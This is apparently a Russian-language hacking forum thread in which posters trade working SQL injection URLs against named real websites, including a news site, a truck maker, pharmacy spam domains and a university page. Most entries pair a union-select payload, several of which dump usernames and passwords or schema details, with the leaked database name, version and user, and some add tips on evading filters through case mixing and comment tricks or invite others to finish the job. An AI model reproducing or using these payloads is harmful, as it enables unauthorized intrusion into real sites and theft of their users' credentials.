Поддомен msn.com URL: Code: http://recettes.styledevie.ca.msn.com/forum/message.php?id=292963+and+1=0+union+select+1,2,3,4,group_concat%28concat_ws%280x3a3a3a,password,pseudonyme%29+separator+0x0b%29,6,7,8,9,10,11+from+membres+WHERE+pseudonyme=%27Hope%27+limit+0,20-- Database: recettes Version MySQL: 5.1.38-community-log User: [email protected] Сначала скуль была под грифом "Top Secret", теперь, думаю могу её запостить! ----------------------------------------------------------------------------- URL: Code: http://crimeahouse.net/doska/ind.php?id_typ=-6+union+/*!select*/+1,2,3,4,5,6,%28/*!select*/%28@x%29from%28/*!select*/%28@x:=0x00%29,%28/*!select*/%28null%29from%28information_schema./*!columns*/%29where%28table_schema!=0x696e666f726d6174696f6e5f736368656d61%29and%280x00%29in%28@x:=/*!concat%28@x,0x3c62723e,table_schema,0x2e,table_name,0x3a,column_name%29*/%29%29%29x%29,8,9,10,11,12,13,14,15,16,17,18,19,20+--+ Database: crimeaho_doska Version MySQL: 5.0.92-community User: crimeaho_admin@localhost тИЦ: 10 PR: 1 ----------------------------------------------------------------------------- URL: Code: http://www.totalmma.ru/biography.php?id=2+and+1=0+union+select+1,concat_ws%280x3a3a3a,user%28%29,database%28%29,version%28%29%29-- Database: fightn_mma Version MySQL: 5.1.56 User: fightn@localhost тИЦ: 0 PR: 1 P.S Шелл лил не через скулю
ВИАГРА + сюприз №1 HTML: http://acomplia.viagranow.eu/getdata.php?id=1+union+select+version(),2--+f №2 HTML: http://online-viagranow.com/getdata.php?id=1+union+select+version(),2--+f №3 HTML: http://reductil-meridia.biz/getdata.php?id=1+union+select+version(),2--+f №4 HTML: http://viagra-freeonline.biz/getdata.php?id=1+union+select+version(),2--+f №5 HTML: http://viagranow.biz/getdata.php?id=1+union+select+version(),2--+f №6 HTML: http://www.meds4u.eu/getdata.php?id=1+union+select+version(),2--+f №7 HTML: http://www.viagra-4u.com/getdata.php?id=1+union+select+version(),2--+f №8 HTML: http://www.viagra-enligne.com/getdata.php?id=1+union+select+version(),2--+f А вот и сюприз. Все сайты на одном сервере, по следам stepaska_
http://www.show.ru/ http://www.show.ru/index.php?cat=247&eventId=-46589%20and%201=2%20union%20select%20concat_ws(char(58),@@version,user(),database(),@@version_compile_os)+-- 5.0.77-log [email protected] admin_beta redhat-linux-gn если кому не лень.....добивайте....http://www.show.ru/index.php?cat=247&eventId=-46589%20and%201=2%20union%20select%20table_name+from%20information_schema.tables%20limit%2017524,1--
офф сайт СMS Code: http://www.jasawebsitemurah.info/cms/view.php?idArtikel=1+union+select+1,2,3,concat_ws(0x3a,username,password),5,6,7,8+from+jasaweb_cms.user+limit+0,1+--+ пароли/хеши нельзя выкладывать
Code: http://student.d3ti.mipa.uns.ac.id/arkan/view.php?idArtikel=-19+union+select+1,2,concat_ws(%200x3a,username,password),4,5,6,7,8+from+user+limit+0,1+--+
тИЦ 100 Code: http://fortland.ru/index.html?action=news&act=news_p&id=99999999/*--*/UnIoN/*--*/SeleCt/*--*/1,@@version,3,4,5,6,7,8-- P.S: через несколько секунд "выбрасывает" на другую страницу.... Code: http://fortland.ru/index.html?action=news&act=news_p&id=99999999/*--*/UnIoN/*--*/SeleCt/*--*/1,group_concat%28TABLE_NAME%29,3,4,5,6,7,8/*--*/FrOm/*--*/INFORMATION_SCHEMA.TABLES--+
Тиц 70 Тиц 1500 www.iteam.ru PHP: http://www.iteam.ru/articles.php?pid=1&tid=2&sid=16&id=-131/**/UnION/**/SeLEcT/**/1,2,UNHEX(HEX(version())),4,5,6,7-- Тиц 210 www.ndelo.ru Code: http://www.ndelo.ru/survey.php?qid=241+union+select+1,2,3,4,5,6,7,8,9,10,11--&r=0.19475362145586483 Давайте вместе раскрутим эту скулю, фильтруется слово select
Я могу ошибатся, но помоему не выйдет. Долбался с таким методом защиты, он все запросы приводит к нижнему регистру и сверяет ключами. Если там есть структуры типа +select - отсекается запрос. Надежда только на другие запросы, т.к. фильтруют в основном get\post. Попробуй кук\хедер. Я не дома, попробовать не выйдет
Автомобильный завод "УРАЛ" Тиц 950 Code: http://www.uralaz.ru/motor_show.php?id=-13/**/unIoN/**/seLect/**/1,version(),3,4,5--&sub=1 4.0.20-log
Code: http://interpretive.ru/dictionary/459/word/-1218%27+union+select+1,2,3,4,5,6,7,8,9,group_concat%28table_name%29,11,12,13+from+information_schema.tables+where+table_schema=database%28%29+--+ 5.1.57 Тиц - 275 PR - 5
sizampskov_sizam@localhost:5.0.77-log:sizampskov_sizam studiovitrum_v@localhost:5.0.77 5.1.41-log 4.1.24-log
Code: http://www.pn.mk.ua/servicepages.php?%20type_page=-contacts%27+union+select+concat_ws%280x3b,Version%28%29,database%28%29,user%28%29%29+--+ 5.2.4-MariaDB;prestupnos_db;root@localhost ТИЦ - 450 PR - 4
Code: http://www.eustudies.org/conference.php?cid=-6+union+select+1,2,concat_ws%280x3a,user%28%29,version%28%29,database%28%29%29,4,5,6,7,8,9,10,11,12,13,14-- [email protected]:5.0.91-log:eusa_main GooglePR: 6
ТИЦ: 2100 Code: http://vn.ru/index.php?id=-103788+union+select+1,concat_ws%280x3a,version%28%29,database%28%29,user%28%29%29,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25--+ 5.1.50-log:sibkray_site:sibkray_site@localhost
4.0.22-standard:root@localhost:domsite 5.0.51a-community 4.1.16-nt ecologyand_voron@localhost:5.0.26-log:ecologyand_voron 5.1.41-log:[email protected]:metratech_db 5.0.88:mo@localhost:mo 5.0.92-community
